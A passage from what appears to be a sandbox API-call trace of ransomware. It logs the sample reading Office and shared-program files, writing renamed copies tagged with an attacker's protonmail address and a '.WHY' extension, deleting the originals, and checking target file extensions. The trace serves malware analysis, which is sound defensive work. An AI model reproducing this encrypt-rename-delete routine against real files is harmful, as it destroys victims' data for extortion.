dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.794] SetEndOfFile (hFile=0x1f8) returned 1 [0068.797] CloseHandle (hObject=0x1f8) returned 1 [0068.797] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0069.018] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0069.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.324] lstrlenW (lpString=".doc") returned 4 [0069.324] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.324] lstrlenW (lpString=".docx") returned 5 [0069.324] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0069.324] lstrlenW (lpString=".pdf") returned 4 [0069.324] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.324] lstrlenW (lpString=".xls") returned 4 [0069.324] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.324] lstrlenW (lpString=".xlsx") returned 5 [0069.324] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0069.324] lstrlenW (lpString=".ppt") returned 4 [0069.324] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.324] lstrlenW (lpString=".zip") returned 4 [0069.324] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.325] lstrlenW (lpString=".rar") returned 4 [0069.325] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.325] lstrlenW (lpString=".bz2") returned 4 [0069.325] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.325] lstrlenW (lpString=".7z") returned 3 [0069.325] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.325] lstrlenW (lpString=".dbf") returned 4 [0069.325] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.325] lstrlenW (lpString=".1cd") returned 4 [0069.325] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.325] lstrlenW (lpString=".jpg") returned 4 [0069.326] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.326] lstrlenW (lpString=".doc") returned 4 [0069.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.326] lstrlenW (lpString=".docx") returned 5 [0069.326] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0069.326] lstrlenW (lpString=".pdf") returned 4 [0069.326] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.326] lstrlenW (lpString=".xls") returned 4 [0069.326] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.326] lstrlenW (lpString=".xlsx") returned 5 [0069.326] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0069.326] lstrlenW (lpString=".ppt") returned 4 [0069.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.327] lstrlenW (lpString=".zip") returned 4 [0069.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.327] lstrlenW (lpString=".rar") returned 4 [0069.327] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.327] lstrlenW (lpString=".bz2") returned 4 [0069.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.327] lstrlenW (lpString=".7z") returned 3 [0069.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.327] lstrlenW (lpString=".dbf") returned 4 [0069.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.328] lstrlenW (lpString=".1cd") returned 4 [0069.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0069.328] lstrlenW (lpString=".jpg") returned 4 [0069.328] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.328] lstrcmpiW (lpString1=".EPS", lpString2=".WHY") returned -1 [0069.328] lstrlenW (lpString="MS.EPS") returned 6 [0069.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.128] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=15067) returned 1 [0071.128] CloseHandle (hObject=0x1d0) returned 1 [0071.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0071.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0071.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.128] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.128] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0071.130] GetLastError () returned 0x0 [0071.130] ReadFile (in: hFile=0x1d0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x3adb, lpOverlapped=0x0) returned 1 [0071.134] WriteFile (in: hFile=0x1a0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0071.137] ReadFile (in: hFile=0x1d0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0071.137] WriteFile (in: hFile=0x1a0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0071.138] SetEndOfFile (hFile=0x1a0) returned 1 [0071.138] CloseHandle (hObject=0x1a0) returned 1 [0071.142] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.142] SetEndOfFile (hFile=0x1d0) returned 1 [0071.145] CloseHandle (hObject=0x1d0) returned 1 [0071.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0071.146] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0071.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.146] lstrlenW (lpString=".doc") returned 4 [0071.146] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0071.146] lstrlenW (lpString=".docx") returned 5 [0071.147] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0071.147] lstrlenW (lpString=".pdf") returned 4 [0071.147] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0071.147] lstrlenW (lpString=".xls") returned 4 [0071.147] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0071.147] lstrlenW (lpString=".xlsx") returned 5 [0071.147] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0071.147] lstrlenW (lpString=".ppt") returned 4 [0071.147] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0071.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.147] lstrlenW (lpString=".zip") returned 4 [0071.147] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0071.147] lstrlenW (lpString=".rar") returned 4 [0071.148] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0071.148] lstrlenW (lpString=".bz2") returned 4 [0071.148] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0071.148] lstrlenW (lpString=".7z") returned 3 [0071.148] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0071.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.148] lstrlenW (lpString=".dbf") returned 4 [0071.148] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0071.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.148] lstrlenW (lpString=".1cd") returned 4 [0071.148] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0071.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.148] lstrlenW (lpString=".jpg") returned 4 [0071.149] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0071.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.149] lstrlenW (lpString=".doc") returned 4 [0071.149] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0071.149] lstrlenW (lpString=".docx") returned 5 [0071.149] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0071.149] lstrlenW (lpString=".pdf") returned 4 [0071.149] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0071.149] lstrlenW (lpString=".xls") returned 4 [0071.149] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0071.149] lstrlenW (lpString=".xlsx") returned 5 [0071.149] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0071.149] lstrlenW (lpString=".ppt") returned 4 [0071.149] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0071.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.150] lstrlenW (lpString=".zip") returned 4 [0071.150] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0071.150] lstrlenW (lpString=".rar") returned 4 [0071.150] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0071.150] lstrlenW (lpString=".bz2") returned 4 [0071.150] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0071.150] lstrlenW (lpString=".7z") returned 3 [0071.150] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0071.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.150] lstrlenW (lpString=".dbf") returned 4 [0071.150] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0071.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.150] lstrlenW (lpString=".1cd") returned 4 [0071.151] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0071.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0071.151] lstrlenW (lpString=".jpg") returned 4 [0071.151] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0071.151] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0071.151] lstrlenW (lpString="Alphabet.xml") returned 12 [0071.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.155] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=791686) returned 1 [0071.155] CloseHandle (hObject=0x1d0) returned 1 [0071.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0071.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0071.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0071.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.156] lstrlenW (lpString=".doc") returned 4 [0071.156] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.156] lstrlenW (lpString=".docx") returned 5 [0071.156] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0071.156] lstrlenW (lpString=".pdf") returned 4 [0071.156] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.156] lstrlenW (lpString=".xls") returned 4 [0071.156] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.156] lstrlenW (lpString=".xlsx") returned 5 [0071.156] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0071.157] lstrlenW (lpString=".ppt") returned 4 [0071.157] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.157] lstrlenW (lpString=".zip") returned 4 [0071.157] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.157] lstrlenW (lpString=".rar") returned 4 [0071.157] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.157] lstrlenW (lpString=".bz2") returned 4 [0071.157] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.157] lstrlenW (lpString=".7z") returned 3 [0071.157] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.157] lstrlenW (lpString=".dbf") returned 4 [0071.157] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.158] lstrlenW (lpString=".1cd") returned 4 [0071.158] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.158] lstrlenW (lpString=".jpg") returned 4 [0071.158] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.158] lstrlenW (lpString=".doc") returned 4 [0071.158] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.158] lstrlenW (lpString=".docx") returned 5 [0071.158] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0071.158] lstrlenW (lpString=".pdf") returned 4 [0071.158] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.159] lstrlenW (lpString=".xls") returned 4 [0071.159] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.159] lstrlenW (lpString=".xlsx") returned 5 [0071.159] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0071.159] lstrlenW (lpString=".ppt") returned 4 [0071.159] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.159] lstrlenW (lpString=".zip") returned 4 [0071.159] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.159] lstrlenW (lpString=".rar") returned 4 [0071.159] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.159] lstrlenW (lpString=".bz2") returned 4 [0071.159] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.160] lstrlenW (lpString=".7z") returned 3 [0071.160] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.160] lstrlenW (lpString=".dbf") returned 4 [0071.160] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.160] lstrlenW (lpString=".1cd") returned 4 [0071.160] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0071.160] lstrlenW (lpString=".jpg") returned 4 [0071.160] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.161] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0071.161] lstrlenW (lpString="Content.xml") returned 11 [0071.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.162] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=27045) returned 1 [0071.162] CloseHandle (hObject=0x1d0) returned 1 [0071.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0071.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0071.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0071.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.163] lstrlenW (lpString=".doc") returned 4 [0071.163] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.163] lstrlenW (lpString=".docx") returned 5 [0071.163] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0071.163] lstrlenW (lpString=".pdf") returned 4 [0071.163] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.163] lstrlenW (lpString=".xls") returned 4 [0071.163] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.163] lstrlenW (lpString=".xlsx") returned 5 [0071.164] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0071.164] lstrlenW (lpString=".ppt") returned 4 [0071.164] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.164] lstrlenW (lpString=".zip") returned 4 [0071.164] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.164] lstrlenW (lpString=".rar") returned 4 [0071.164] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.164] lstrlenW (lpString=".bz2") returned 4 [0071.164] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.164] lstrlenW (lpString=".7z") returned 3 [0071.164] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.164] lstrlenW (lpString=".dbf") returned 4 [0071.165] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.165] lstrlenW (lpString=".1cd") returned 4 [0071.165] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.165] lstrlenW (lpString=".jpg") returned 4 [0071.165] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.165] lstrlenW (lpString=".doc") returned 4 [0071.165] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.165] lstrlenW (lpString=".docx") returned 5 [0071.165] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0071.166] lstrlenW (lpString=".pdf") returned 4 [0071.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.166] lstrlenW (lpString=".xls") returned 4 [0071.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.166] lstrlenW (lpString=".xlsx") returned 5 [0071.166] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0071.166] lstrlenW (lpString=".ppt") returned 4 [0071.166] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.166] lstrlenW (lpString=".zip") returned 4 [0071.166] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.166] lstrlenW (lpString=".rar") returned 4 [0071.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.166] lstrlenW (lpString=".bz2") returned 4 [0071.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.167] lstrlenW (lpString=".7z") returned 3 [0071.167] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.167] lstrlenW (lpString=".dbf") returned 4 [0071.167] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.167] lstrlenW (lpString=".1cd") returned 4 [0071.167] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0071.167] lstrlenW (lpString=".jpg") returned 4 [0071.167] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.168] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0071.168] lstrlenW (lpString="boxed-correct.avi") returned 17 [0071.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0072.410] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=89600) returned 1 [0072.410] CloseHandle (hObject=0x210) returned 1 [0072.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0072.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 